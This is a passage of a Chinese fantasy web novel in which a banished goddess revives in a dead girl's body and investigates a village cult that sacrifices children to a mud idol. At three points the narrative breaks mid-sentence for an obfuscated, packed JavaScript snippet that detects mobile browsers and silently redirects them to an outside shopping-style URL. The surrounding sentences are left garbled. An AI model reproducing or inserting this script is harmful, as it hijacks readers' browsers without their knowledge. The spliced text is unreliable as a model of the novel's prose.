《徒弟他总想灭世》 1. 招魂 “啪!” 一记耳光如同惊雷在娑昙耳边炸开,右脸瞬间传来火辣辣的剧痛。 “娘的!她真死了?”一个粗犷的男声吼道。 “死了?便宜她了!仙门的走狗,敢在泥神村撒野!” 娑昙费力地睁眼,昏黑中聚了好一阵,才辨出两条人影。近前的男人脸上横一道疤;旁立着个干瘦妇人,深陷的眼眶里,一对眼珠骨碌转动。 那妇人瞥了刀疤男一眼,吩咐道:“这丫头你好好看着,若是让她跑了,扰了祭典,小心娘娘降下神罚!” 刀疤男道:“范嫂,你放心。” “娘娘保佑,这次祭典……” 二人的声音逐渐远去,随着大门暗哑的吱呀声,彻底隔绝在外。 娑昙抬了抬眼皮,淡淡扫过腐烂发霉、渗着浑浊污水的木质顶壁。 她闭上眼睛翻了个身。这具羸弱的身体太过娇嫩,稻草扎得皮肤生疼。 飘散的思绪兜兜转转,将娑昙拽回那个神殿中央—— 霞光流照间,巍峨的神佛垂目俯视。 [理序使长司娑昙,罔顾天职,包庇魔徒,纵其祸乱苍生,酿成大祸!] 向来是神佛跪她,而今她却跪在玉砖之上。黑暗里神影幢幢,压抑的窃语如暗潮般涌来。 [剥神格,贬下界,历劫重修!] 宣判的声音犹在耳畔,娑昙咽下喉间腥甜,睁开双眼。 她本应承“天煞孤星”之命,投胎入世,历劫重修。神魂都被抛进死生之地的“轮回骨河”,醒来时竟是前尘未忘,借这死尸还魂复生。 这具身体已死了些时日,魂魄尽散,残存的记忆纷杂混乱。娑昙用神识仔细搜寻,却也只知此人姓李名窈贞,乃九州仙门第一大宗——玄青宗宗主之女。至于其死因,又因何而来,一概不知。 娑昙撑着地起身,颤颤巍巍地在屋子里搜寻起来。 这间屋子破败窄小,堆放着许多杂物,几只老鼠正肆无忌惮地啃噬着角落的草茎,发出令人牙酸的窸窣声。 娑昙在垃圾堆中翻拣,指尖忽然触到一截冰凉的细线,她低头,长长的红线缠绕着柱子,交织错落,占据了整个地面。 是“缚灵绳”。 娑昙目光扫过四周,凝在刚刚躺卧之处,几步上前掀开那堆脏污的稻草—— 借着惨淡的月光,一个猩红的法阵映入眼帘,其上爬满扭曲蠕动的怪异符文,散发着阴冷森然的气息。 这个法阵娑昙太熟悉了,被贬前,她在神界审判众生,常与幽冥地府往来,此阵何止见过百遍千遍。 她竟是被人招魂了。 所谓招魂,是以“刚死之尸”为饵,献祭其肉身与灵魂,“缚灵绳”作辅,以血画阵,沟通幽冥,召唤死生之魂。 被召之物,须满足施法者一个愿望,若强行抵抗,则当场魂飞魄散。因此法过于阴毒,被列为禁术,鲜少有人得知。 招魂术会保留其魂魄的完整记忆,难怪即便她饮下忘魂汤,旧忆仍未消散。 而她的神魂已与此身相融,所历劫难亦随之继承。 娑昙摸了摸颈侧的豁口,皮肉翻开,鲜血凝固。 已死之人的血最是晦气,专招恶魂,偏偏李窈贞死前遭受凌虐,怨气不散,引来的基本都是凶煞邪祟。 娑昙唇角极淡地扯了一下。她血债累累,本就与凶煞无异。 放下稻草遮盖住法阵,娑昙垂眸凝思。 李窈贞不过是个锦绣丛里娇养大的千金小姐,能与人结下何等深仇,竟让对方不惜动用此等禁术? 而招来了她的魂魄,又想让她做什么? 谜团层层叠叠,如乱线缠绕,理不出头绪。娑昙压下心中异样,眼下当务之急,是如何从这出去。 这具遍体鳞伤的身体,若不及时医治,恐怕连一日都撑不过。 听先前那妇人所言,这里名为“泥神村”。娑昙眼皮轻抬,这四周魔气缭绕,她向来厌憎魔族,没想到连九州这等下位面,也遭到了它们的侵蚀。 得先逮个人来问个明白。 李窈贞天赋平平,仅能勉强引气入体,幸而娑昙的神魂强横,又有[寂照净火]护持,周身魔气不侵,缓缓洗涤经脉,对付这些小喽喽轻而易举。 思及此,娑昙手腕一抖,石头脱手砸向中央的水缸,缸壁碎裂,脏水汩汩涌出,顷刻漫湿了地面。 “娘的,小畜生在里面搞什么鬼!” 腐朽的大门被人一脚踹开,娑昙闪身躲于廊柱后。只见那刀疤男怒气冲冲地闯进来,凶狠的目光刮过四周,除却流水声,狭小的屋子里空无一人。 “该死的,人呢?!” 刀疤男慌忙找寻起来,隐在暗处的娑昙瞅准机会,一颗石子击中他的脖颈,刀疤男吃痛惊叫,下意识回手去抓,娑昙又一颗石子飞出,在他膝盖弯狠狠一击! 刀疤男登时重心不稳,踉跄着单膝微屈。 娑昙的身影如同鬼魅般贴地滑入,双手撑地凌跃而上,长腿勾住刀疤男的脖子,拧腰发力,将他重重掼摔在地。 “咔擦!” 一声刺耳的脆响,刀疤男凄厉惨嚎,左臂瞬间扭曲变形,娑昙旋身压制,利落卸脱了他另一只胳膊。 娑昙指诀疾变,清喝道:“缚灵绳,束!” 红绳应声而至,如灵蛇般缠绕住刀疤男壮硕的身躯,打了个死结。 刀疤男目眦欲裂,嘶吼道:“你竟敢在泥神村动用仙术,泥神娘娘定要显灵惩治!快给老子解开!” 娑昙一脚踏上他的腹部,同时一块棱角尖锐的石头骤然闪现,距他的眼球不过分毫。 “我问你一句,你答一句,”娑昙神情淡漠,捏住刀疤男下巴,“若有半句虚言,废了你的眼睛。” 他浑身哆嗦如筛糠,望向娑昙的眼神,像是直视九幽爬出的修罗恶鬼。 娑昙寒声问道:“你们供奉的泥神,究竟是什么?” “泥、泥神娘娘是……是我们村子的守护神,”他牙齿咯咯打颤,血沫从嘴角溢出,“三百年前九州大旱,村里饿死大半人,眼看就要绝户了,那时来了个外乡人,他带来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16717071|189372||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一捧泥胎,说我们村子有神佛庇佑,只要塑成神像,必能天降甘霖,解此灾祸……” “村里人塑好了像……结果,方圆百里真的只有我们这下雨了!大伙儿就给娘娘修了庙,年年诞辰磕头烧香,娘娘一直保佑我们风调雨顺,日子也富足……” 娑昙蹙眉,瞥了眼他破旧的衣衫:“既得风调雨顺,为何如今食不果腹?” “这……这都怪你们仙门!”刀疤男声音拔高,“是你们硬说娘娘是妖魔,要毁神像,这才触怒了娘娘,降下灾祸!” 娑昙将石尖往下移:“你们说的祭典,与此有关?” 刀疤男瑟缩着,语速极快:“每年娘娘诞辰都会选择一对金童玉女,由神婆给他们净面,盖神帕,抬上神轿送到谭边。若娘娘满意,便打开极乐之门赐他们永生,等谭心泥泡翻腾起来,就把人推入泥眼。” “活人祭?” “必得是活人,方能显出我等诚心,娘娘才能赐福于我们……” “这次的金童玉女是谁?” 刀疤男喉头滚动,声音发颤:“两个都是仙门中人!里头有个您认得,就是跟您一道来那个奴仆,他被选为了金童……” 娑昙眼睫微不可察地一颤,若真如此,面对熟悉李窈贞之人,她未必能全然伪装。 “祭典在今日?” “张二爷说,娘娘受了惊扰,神力有损,今年诞辰提前了,就在今夜丑时三刻,”刀疤男忙道,“能被选中……是天大的福气!” 娑昙指尖一转,收了石头起身:“这个张老爷是谁?” “他是咱们村的富绅首户,更是泥神娘娘亲点的‘通神者’!”刀疤男咽了口唾沫,“只有他能和娘娘通灵,村中事无巨细,皆得经过他请示神谕方可定夺……” “张家在哪?” “在、在村子最南头,”刀疤男忍着抽泣,气息不稳,“就那户漆大门,一眼就能瞅见……” “金童玉女呢?” “金童被张老爷带去泥神庙了,玉女……玉女就在张府……” 娑昙静默地看着他,刀疤男背后惊出一身冷汗,急声道:“我、我该说的都说了!你问的我都答了!快放了我!不然……不然娘——” 噗! 鲜血四溅,刀疤男怒目圆睁,没了生机。 娑昙随手抹去脸颊沾上的温热,语气淡漠:“你为虎作伥,残害无辜,今日以命相抵,也算死得其所。” 她垂眸,刺目的猩红已浸透双手,正顺着指缝蜿蜒滴落。 恍惚间,仿佛看见了挚友被她的长剑贯穿,白衣洇开大片血花。 耳畔,似又响起那温柔而满怀希冀的话语: ——[阿姐,你若想救祂,待你历劫归来,便以你之神位开启往生之门,即可为祂重塑神躯。] 娑昙长出一口气,仰头眯眼看向满月,指节攥得发白。 她轻声念起古老的祷词: “娑罗神树啊,请佑护那些漂泊远方的子民吧,让祂们的神魂得以安宁,引祂归返母神的怀抱吧……” 2. 诡祀 张惠芬心里憋闷。 泥神娘娘诞辰是村里的头等大事,大家都去庙里烧香祈福,她却被留在府里看守书房。 连王婶家的傻儿子都能骑他爹脖子上去! 张惠芬正揪着花瓣出气,突然一阵风吹过,将手帕吹落在地,她赶忙追上去捡。 “真倒霉催的!” 余光瞥见有影晃动,张惠芬甫一抬头,就撞上了黑暗中那双金瞳。她当下脑子一嗡,眼神即刻涣散,整个人僵在原地。 娑昙问:“你叫什么?” 她答:“张惠芬。” 娑昙一记手刀劈向张惠芬的后颈,后者眼皮一耷,直直倒入娑昙的怀中。 娑昙谨慎地左右扫视,确定四下无人,这才半扶半拖着昏厥的张惠芬进屋,转身轻轻合上门。 屋内陈设淡雅,紫檀木书案配着青玉镇纸,墙上挂着一幅梨园春画,滞涩的香气混杂着泥土的腥味,沉沉压在空中。 娑昙走向偏厅的卧榻,从榻上扯下来一床锦被铺在床底,将张惠芬塞了进去。 接着,她仔细搜查了一圈,却并未有什么发现。 娑昙环视屋内,目光最终落在书案上,快步走了过去。 案头摆着几碟精致的糕点,册子整齐叠在一旁,多是泥神村一带的收支记录,册角朱砂落款写着“张敏才”。 张敏才,应就是那刀疤男口中的张老爷。 娑昙翻阅账册,愈看心中疑惑愈盛。 今年村中遭灾,可那[云梦百香柑]的长势反倒比往年繁盛,张家月月进项丰盈,竟是不减反增。 她凝神沉思,指尖摩挲着案台木纹,忽地触到一处微凸的活板,于是试探性下按。 “咔擦!” 暗格弹开,靛蓝封皮的册子静卧其中,娑昙伸手取出,上面写着《张家族谱》四个大字。 她翻过纸页,这才知道,原来村子最初不叫泥神村,而是叫丰洼村。 彼时气候宜人,水土丰饶,村民以种植瓜果为生,那会张家也只是普通果农,远非今日朱门气象。 转变发生在三百年前,如刀疤男所言,九州大旱,一外乡人捧着泥胎到来,宣称降下神谕,须塑泥成像,方可解灾,村民们轮番尝试,皆败。 突有一人言己乃天命所归,十指起落,神像即成,暴雨忽至。 此人正是张家家主,张承平。 不久,他种出一种水果,此果表皮色彩斑斓,剥开香气瞬变,食之心旷神怡,取名为[云梦百香柑],引贵人追捧。自此张家富甲一方,权倾乡里。 张承平在建起“兴隆商会”后离世,仅有一子,却在那年大旱中夭折。奇怪的是,家谱中未留下此子姓名。 继承家业的,是张承平一位远方表亲之子,自幼体弱,养在外村,张承平死后才被接回。 他经营有方,张家蒸蒸日上,可惜年满三十便病故。 娑昙扫过族谱后续几页,眉头轻蹙。她又急急翻过数页,竟无一例外—— 张家历任家主俱于而立之年离世,且皆选自旁支。 族谱末行是现任家主“张敏才”的生辰。娑昙稍加推算,赫然发现他三十岁生辰就在本月! 若按此间规律,这个日子也预示着他的死期。 泥神塑像,张家虽世代获利,却英年早逝。这不像诅咒,反倒像是……一场交易。 一场与泥神的交易。 娑昙抬眸,目光落在供台上的泥神小像,略一沉吟,她抄起泥神像往地上一砸。 泥胚瞬间四分五裂,碎片之中,隐约可见一封折叠的信笺和一支莲花木簪。 娑昙俯身拾起,展开泛黄信纸,写着:盈……平今见……恨不……终日思……反侧…… 上面几处墨迹被水浸过,晕染散开,难以辨认。 “盈”、“平”…… 娑昙突然福至心灵,翻至族谱首页—— 张家家主【张承平】,其妻【殷盈】。 这应是张承平写给殷盈的信。只言片语间,似有憾恨,又有思念,难以捉摸其中深意。 娑昙将信仔细折好,又捏着那支莲花木簪端详片刻,也没瞧出个所以然来。 若想探知这段秘辛,唯有进入到当事人的记忆。娑昙恰通晓一门秘术,名为“入魂”。 此术源于九尾狐族,可窥人、妖乃至神魔的记忆。施术需知对方姓名、生辰八字,并持一件与其密切相关的旧物——此物被称为“魂物”。 泥神尊号即名,诞辰即八字,至于魂物…… 所幸娑昙天生精神力强大,又有前任狐族族长雪霁亲授,于此术修得十足火候,只需接触施术对象,便能对魂物生出感应。虽今非昔比,入泥神之魂亦非难事。 她必需见到泥神,而眼下唯一的途径,就是即将举行的泥神祭典,最直接的办法,莫过于……亲自成为祭品。 “玉女”就在张府。 “惠芬这丫头,跑哪去了……” 屋外陡然响起脚步声,娑昙当即吹灭蜡烛,将几样东西塞入怀中,同时飞快将书房恢复原状。 随后娑昙的身形如水般流淌,瞬间化作了先前张惠芬的模样。 她理了理衣襟,推门而出。门外提着灯笼的粉裙女子被惊得后退一步,脱口道:“你……你怎么会在书房?” 娑昙面不改色:“方才一只狸猫窜进书房,我怕它碰坏物件,便进去驱赶,结果一溜烟便不见踪影了。” 粉裙女子狐疑地朝屋内看了几眼,见无异状,才压低声音斥道:“你也是莽撞!老爷最忌旁人进书房……” “罢了罢了,祭典将启,迎神的队伍就快来了,你赶忙去后院准备,若误了时辰,你我谁都担待不起!” 娑昙颔首应声,接过她手中的托盘,转身离去。 她穿行于张府,但见桥廊逶迤相接,灯火璀璨,恍若仙苑。 墙外饿浮遍野,墙内光景竟判若云泥。 行至后院,忽闻凄厉的叫喊: “来人啊!深更半夜强掳民女啦!苍天开眼,我一生行善积德、除妖卫道,竟落得红颜薄命的下场!” 娑昙循声来到屋前,一把拉开门扉,里头那人正埋头向外冲撞,她侧身避开,来人收势不及,“砰”地摔趴在地,激起尘土飞扬。 “咳咳咳——” 地上被五花大绑的黄衣少女呛咳了几声,抬头看清娑昙的面容时明显一怔,随即警惕道:“我见过你……你是村里的人。可你身上有灵力,你究竟是谁?” 娑昙倚着墙,没有回答,只反问道:“你就是这次选中的‘玉女’?” 少女眉头紧蹙,紧盯着她的脸:“易容术?……仙门中人?还是‘寻迹者’?” 娑昙虽对“寻迹者”一词颇感好奇,却无法动用“瞳术”摄魂。“瞳术”的强弱由“精神力”决定,但需相应灵力作辅方能尽展。如今她被这具凡胎所束缚,灵力滞涩,若对方修为在她之上,贸然施术必遭反噬。 娑昙正欲开口,远处骤然响起唢呐声——迎神的队伍来了。 她目光一扫,抄起墙角的镰刀。 少女见状,慌忙道:“我乃九霄宫亲传弟子梅听雪,我师姐可是庆华仙尊座下楚蝉!你若伤我,她定不饶你——” 话音未落,腕间忽觉一松。她愕然抬头,只见身上绳索已被尽数割断。 梅听雪见鬼似的瞪着娑昙:“你……” 娑昙一把将愣神的梅听雪拉进里间,顺手扯下她的外衫:“时间紧迫,我代你为祭品。记住,我所化形的女子名为张惠芬,现在便将你化作她的模样。” 梅听雪惊疑不定:“你究竟是……” “玄青宗弟子,”娑昙手上动作不停,“化形术只能撑一个时辰,你找机会脱身,速去寻你师姐来。” 现下时局不定,多一个盟友总比多一个敌人强。 梅听雪闻言瞪圆了眼,脚步声迫近,她只得褪下衣衫与娑昙交换。 娑昙轻念口诀,二人容貌接连变幻。 “砰——” 大门被猛地推开,黑压压一群人堵在门口,领头那妇人眉梢倒竖,正是之前囚禁她的范嫂。 “好你个张惠芬,竟敢躲在这儿偷懒!” 范嫂一个箭步上前,揪住梅听雪的耳朵用力一拧,回头尖声呵斥:“都愣着干什么?还不快把‘玉女’请出去!” 娑昙抬头与梅听雪目光飞快一碰,旋即垂首敛目,任由村民松绑,粗鲁地架走。 屋外不知何时起了浓雾,梨树在雾中隐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“金童玉女携手侍庙前,泥神香火永世绵——!” 娑昙未及回神,手已被迫与另一个人十指相扣。一缕清甜的梨香钻入鼻腔,那人指腹带着薄茧,摩挲间生出些许痒意。 腰间被系上了一段红绸,与身旁的人连在一起。他身量不高,只及她的肩膀,似乎还是个孩子。 大雨哗啦砸落,娑昙察觉到牵着的那只手格外冰冷,正微微颤抖。 “娘娘允,开庙门,迎万世永昌——!” 唢呐声响,庙门洞开,腐朽沉重的气息扑面而来。 与之而来的还有一股强大的魔气。娑昙神色一凛,此物怕是吸饱了怨念,虽未成大妖,却也相距不远。 她呼出一口浊气,抬脚迈过门槛,一种近乎是恶心的窥探感,如冰冷的蛇信,顺着骨髓钻爬。 范嫂谄媚的声音紧跟着从身后响起:“二老爷,劳您请示娘娘。” 娑昙闻言蹙眉。她明明只感受到身旁‘金童’的活气,这泥神庙中再无其他生人。 “辛苦了范嫂。” 一道声音从不远处传来,娑昙偏头细听,大致方位应是正前方,她不动声色地撩开盖头。 殿内烛光昏黄,青袍男人背对他们,身形削瘦,正朝神台跪拜。 台上供着莲花,那尊彩绘斑驳的泥像端坐中央,面容在摇曳的光影中模糊不清。 整个庙堂中,就数这尊泥神像气息最古怪,虽感应极强,却又混杂不明。 但可一试。 正当娑昙思考如何接近时,殿外脚步声急响,一人跑致张敏才边耳语数句,张敏才听后身形微震,二人迅速转身离去。 大殿内陷入一片死寂。娑昙望着张敏才急切的背影,确定他走远后,快步奔向神台。 红绸那端的孩子被她带得踉跄往前扑,不由惊声道:“你——” “青丘魂引,照汝心境,”娑昙咬破手指,血珠飞溅,在案台上写下泥神的尊号和诞辰,“溯往如临,唯魂物凭!” “沙……沙……” 狂风呼啸着灌入大殿,银铃乱撞,油灯的火苗疯狂乱舞,将满室映得鬼影幢幢。 可下一瞬,娑昙瞳孔骤缩—— 桌上那以血写就的魂咒,正在迅速消散! 姓名、八字、魂物……全错! 怎么可能! 3. 入魂 “是你杀了邵原?” 冰冷的声音从身后传来,娑昙霍然转身,与立于殿门的张敏才撞个正着。 而先前那报信的小厮,此刻恭敬垂首,哪还有半点慌张模样。 娑昙顿时明白了,只怕她从破屋逃出来时,对方就已然察觉。眼前这一切分明是设好了局,专等她跳进来。 张敏才仿佛看穿了她的心思,道:“容你至今,本想瞧瞧你意欲何为。倒是我看走了眼,竟容你在庙中妄动仙术,损毁神像,险些惊扰娘娘圣安!” 说着,他双手合十,朝泥神像鞠了一躬:“幸得神谕启示,娘娘慈悲,不仅恕你不敬之罪,更允你也可在座下洗涤罪孽,此乃天大的恩赐。” 娑昙冷眼如霜,静立未动。身侧的少年轻颤着向她身后躲去。 张敏才阴翳的双眸不含温度:“乖乖献祭,永享极乐吧!” 话音一落,两个壮汉自张敏才身后闪出,直扑娑昙而来。 娑昙迅速抓住红绸用力一扯,少年直直跌入她怀里,她借力侧身,堪堪避过壮汉的袭击。 身形未稳,眼角余光已瞥见另一壮汉,她毫不犹豫一脚狠狠踹向其膝盖,那壮汉痛呼跪倒,连带着撞翻了神台,香烛贡品哗啦倾倒。 写满祈祷祝词的纸张漫天飞舞,娑昙瞟过纷扬的纸片,倏然凝在其中一张信纸上,呼吸微滞。 ——张敏才敬上。 “谁准你在娘娘的神庙放肆!”张敏才厉声呵斥,因激动呛咳起来,稍缓便嘶声道,“都给我上!抓住她!” 殿外乌泱泱的人群立时涌动,数人抢步上前,瞬间封死了娑昙的退路。 “站住!” 娑昙一声清喝,左臂揽过少年扣在身前,右手取下发间珠钗,钗尖稳稳抵住他细嫩的脖颈。 “你们再靠近一步,我就杀了他。” 风过,声止,那本就摇摇欲坠的盖头飘落在地。 少年茫然抬头,双眸在看清娑昙面容后猛地睁大:“主——” “别动。”娑昙垂眸警告他。 雨水浸染之下,少年面上绘制的金粉斑驳晕开,湿透的乌发紧贴脸颊。他鼻梁左侧缀着颗小痣,衬得面色苍白如瓷,湿漉漉的眼眸盛满惊惶,像受惊的幼鹿。 娑昙微怔,而后略过他的脸,抬眼直视张敏才:“诞辰必行活祭,若我此刻杀了他,不知是否会引泥神震怒,降下神罚?” 殿中嗡然一静,众人面面相觑。 张敏才眉头轻蹙:“你想要干什么?” “放我走。” 张敏才闻言冷笑:“痴人说梦,金童玉女缺一不可,杀了他和放走你有何区别?” “我知晓玉女下落,告知于你,换我离开。” “玉女已在我手中,你还有何筹码与我交——” “撒谎,”娑昙眼皮轻抬,“你若真抓到了她,在我进殿时就会动手,何必陷入此刻的境地。” 她语气平淡,却字字犀利:“唯一的解释是,你们没能抓住她,让她跑了。如今能完成祭祀的,只剩和她一样,通过泥神神谕的我。” “以她之命,换我之命,亦换得泥神村永享安宁。” 张敏才目光微沉,紧盯着不远处的少女。 她面容娇美,分明是极艳丽的长相,偏眉心一点朱红,那双潋滟的杏眸淡然无波,手执玉簪而立,似是尊观音像,却又无悲无喜、不入红尘。 身后的泥神像在她面前竟卑微如尘,庙堂千盏灯火煌煌,似为她披上一身清辉。 张敏才喉头一滚,强压下那股想要屈膝的冲动,冷笑道:“仙门素以道义自诩,这二人皆是你门中弟子,更有旧识在内,竟也要行此背信弃义之举?” 娑昙怀中的身体骤然僵住,她却恍若未觉,轻笑道:“我生来尊贵,区区奴仆与弃子,有何不舍?” 少年唇无声翕动几下,终是黯然垂首。 村民中传来几声唾骂,有人高声讥讽:“装什么清高!” 张敏才凝视娑昙片刻,缓缓摆手。 村民得了张敏才的命令,虽心有不甘,但仍让出一条道路。 娑昙挟持着少年前行,大雨倾盆,湿透的衣衫沉甸甸压在身上,泥泞裹住腿脚,行动极为不便。 现在她却无暇他顾,一面与张敏才周旋,一面用灵识感应着魂物的方位。 娑昙吐出一口气,隔着滂沱雨幕与张敏才对视。 ——张敏才敬上。 那纸落有他亲笔署名的祷词,在她脑海 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16717073|189372||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 中清晰浮现,其上字迹已被她在心中描摹千百遍。 一个惊人的念头油然而生—— 先前仪式之所以失败,是因从一开始,她就找错了方向。 一个人活了几十年,容貌会老,阅历会长,心性会变,唯独习惯会随着年龄的增加而刻进骨血里,磨不平、改不掉。 那若是此人活了上百年呢?纵使容貌心性全然不同,一个细微的习惯,便足以令其无所遁形。 娑昙遥遥相望,村民如铁桶般围拢于张敏才身后,每一张面孔都燃烧着狂热的信仰与虔诚。 “张敏才,”娑昙奇怪道,“这泥神村,拜的究竟是泥神……” “还是你呢?” 张敏才眼神陡然变冷:“你什么意思?” 娑昙不动声色地瞥了眼身后的泥潭,俞是靠近,感应愈发强烈,仿佛有万千冤魂在泥下哭嚎,冲天怨气近乎凝为实质。 纤薄的后背抵上木栏,娑昙低头凑近少年,嗓音压得很低: “信我。” 灼热的气息拂过他的耳畔,少年呼吸一滞,慌乱偏头间,娑昙冰冷的唇擦过他同样冰凉的脸颊。 娑昙松开少年,左手探入怀中取出族谱,在张敏才震惊的眼神下,翻至一页撕下,抛向空中。 “青丘魂引,照汝心境——” 张敏才急忙指挥着周围的人:“快!快——你们快拦住她!” 娑昙瞥了眼张敏才,紧扣住少年纤细的手腕,拽着他向后倒跃,坠入深不见底的泥潭。 风声在耳畔尖啸,衣袂翻飞如蝶。 “溯往如临,唯魂物凭——” 纸片在雨中燃烧,墨迹与血色晕染,泛着金光: [张承平,乙巳甲申葵丑戊午] 这个“张”末尾微妙地上挑,整体字形圆润朴拙,与祷词上的“张”字严丝合缝。 笔锋相对,答案已在此中。 视线定格在黑沉压抑的天空,鼻腔涌入腥臭的脏水,泥沼瞬间吞噬一切,仿佛沉入无光海底。 一缕童谣声忽近忽远,幽幽传来: “小囡囡,哭不休, 夜沉沉,泪直流。 泥娘娘,心慈悲 踏月来,抱囡归。” 4. 幻境 刺目的阳光灼上眼皮,娑昙睫羽轻颤,缓缓睁开眼。 “你可算醒了!” 一张俏脸随着惊呼声跃入眼帘,凑得极近,正又惊又喜地望着她。 是梅听雪。 “你怎么在此?”娑昙问。 梅听雪闻言微愣:“你认识我?我还想问你这是哪儿呢!” 娑昙歪头静静看了她片刻,随即打了个响指,面容瞬间变作张惠芬的模样。 梅听雪猛地后退半步,眼睛瞪得溜圆,指着她道:“是你!那个在张府的怪人!” “现在认得了?”娑昙恢复原貌,问道,“我让你去找你师姐报信,办得如何?” 梅听雪别开眼嘟囔道:“我……我刚给师姐传完信,还没来得及出去呢,结果咔擦一道天雷劈下,再睁眼就掉进这寸草不生的鬼地方了!” 娑昙闻言垂眸。她先前精神力不济,无法精确控制进入幻境的人选,而梅听雪身为玉女,与泥神关联极深,加之他们同为修仙者,气息相近,许是因此梅听雪才误入幻境。 娑昙抬眼扫过四周,不见那熟悉的身影,问道:“同行那少年,你可曾见到?” “你说长得像小姑娘那个?”梅听雪撇撇嘴,“说是找吃的去了,可这荒地,哪有什么吃食可寻?” 娑昙走至悬崖边眺望,此处虽群山环抱,目之所及却尽是枯槁焦土,地表龟裂蔓延开来,热浪裹挟着沙尘扑面而来,天地间一片昏黄。 梅听雪悄悄凑上来:“喂,你说你来自玄青宗,那小子也是玄青宗的?你师承哪位尊者?既然都派你们来这泥神村了,定是五位长老之一吧?你们……” 话音未落,少年的身影出现在不远处,梅听雪立时噤声。 他神情沮丧,目光与娑昙甫一相接,便慌乱地低头躲闪。 娑昙略有些不解地看着他。 “主人,对不起……” 梅听雪“哦”了声,对此意料之中:“你们是主仆啊?” 少年抿唇摇头,声如蚊蚋:“不是,我是……是主人的……面首。” 娑昙:……? 梅听雪:! “啊哈哈哈……”梅听雪干笑几声,眼神飘忽,“年轻有为啊……年轻有为……” 娑昙看了她一眼。 梅听雪立即敛起笑容,正色道:“在下九霄宫,梅听雪。” 少年睁大双眼,局促地垂下眼:“原来是九霄宫的仙人,久仰大名,我……我叫徐少虞……” 梅听雪笑着拍了拍他的肩:“欸,不必如此拘谨,既同为仙门中人,出门在外便如师兄弟一般,理当相互照应!” 说完,她目光又落在娑昙身上。 娑昙抿了抿唇,淡然答道:“林真遥。” 徐少虞闻言抬头看了她一下,小鹿般的眼眸漾着些许疑惑,却并未作声。 “林真遥?”梅听雪眉头轻蹙,低声嘀咕,“没听说过这号人物啊,玄青宗怎么派个无名小卒来……” 娑昙瞧着梅听雪凝神苦思的模样,适时开口道:“时间紧迫,我们该动身了。” 梅听雪猛地抬头,连声应道:“好、好!不过……你可知此地究竟是何处?” “张承平的幻境,这里是三百年前的泥神村。” “幻境?张承平又是谁?” 娑昙抛去了重要的内容,简单和梅听雪讲述了来龙去脉,听得梅听雪目瞪口呆。 她惊奇道:“所以,张敏才就是张承平?” 娑昙点头:“我在张家书房寻得张承平寄予发妻殷盈之信,其字迹与泥神庙中张敏才所录祷词,如出一辙” 她将心中的猜测说出:“且张家历任家主,皆未过而立之年,恐是张承平每三十载便行夺舍之法,更换躯壳。舍本家而取旁支,只为掩人耳目。” “泥神村供的,不一定是泥神……只怕那张承平早已成了魔物。” 梅听雪沉思片刻,道:“若果真如此,事情可就棘手了。能显化人形,借功德吸纳魔气的,那可是大妖!远非你我能应付,得速速请楚师姐来啊……” 语罢,她又将目光投向娑昙,惊叹道:“不过你竟有能窥探他人记忆的宝贝?玄青宗果真是深藏不露啊。” 娑昙随口胡诌:“我爹给的。” 玄青宗在仙门地位非凡,而李窈贞身为宗主之女,身份尊贵,随手取出件神器也不足为奇。 娑昙道:“走吧,你已报信给楚师姐,赶来尚需时间。眼下当务之急是查明泥神村背后的真相,如此我们方能多一分把握。” 三人沿着蜿蜒的山路下行,梅听雪一路东张西望,对幻境中的一草一木都颇感兴趣,直跑到前面放风。 徐少虞则落后半步,小心翼翼地跟在娑昙身侧,目光低垂,虽害怕,却始终不敢僭越。 娑昙不动声色地打量他。 这徐少虞……她目前还看不透。无论她假扮李窈贞行事如何古怪,他都一副逆来顺受的模样,浑然不觉有异。 正因为如此,才更令人费解:李窈贞堂堂仙门贵女,为何要带着一个如此驯顺的面首,涉足这妖魔横行的泥神村? “主……主人?” 微弱的呼喊将娑昙从沉思中惊醒,她目光聚焦,落在徐少虞身上。 少年逆光而立,侧脸笼罩着一层朦胧的金色薄纱,那瞬间令娑昙晃了神—— 他有五分像他。 自娑昙初见徐少虞那刻,便从他的眉宇间描绘出故人的脸。 娑昙又看了他几眼。少年生得眉目清俊,唇红齿白,本是副矜贵的好相貌,却偏生含胸垂首,通身掩不去的瑟缩怯懦。 那人也曾是鲜衣怒马的少年郎。 见他这般姿态,娑昙不由得蹙眉,出声道:“挺腰拔背!” 徐少虞被惊得一颤,慌忙挺直脊背,嘴唇翕动数次,终是怯怯唤道:“主人……” 娑昙闭眼凝神片刻,再度睁眼时,眼底已是一片沉静。 “管好你的舌头,什么该说,什么不该说,你自己掂量清楚。” 她不擅伪装,勉强抱起双臂,下颌微扬,试图学那闺阁娇女的跋扈姿态,威胁道:“若敢在外胡言乱语……” “是!少虞绝不敢多嘴!” 徐少虞点头如捣蒜,娑昙见威胁起效,便接着问:“你落于泥潭时,可曾听到一 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梅听雪眼睛一亮,像打了鸡血般,滔滔不绝道,“云弈公子白秋明!未及弱冠便问鼎剑道魁首,更是得上古神剑[星河]的认可,莫说同龄人中难逢敌手,哪怕放眼九州亦是凤毛麟角!” 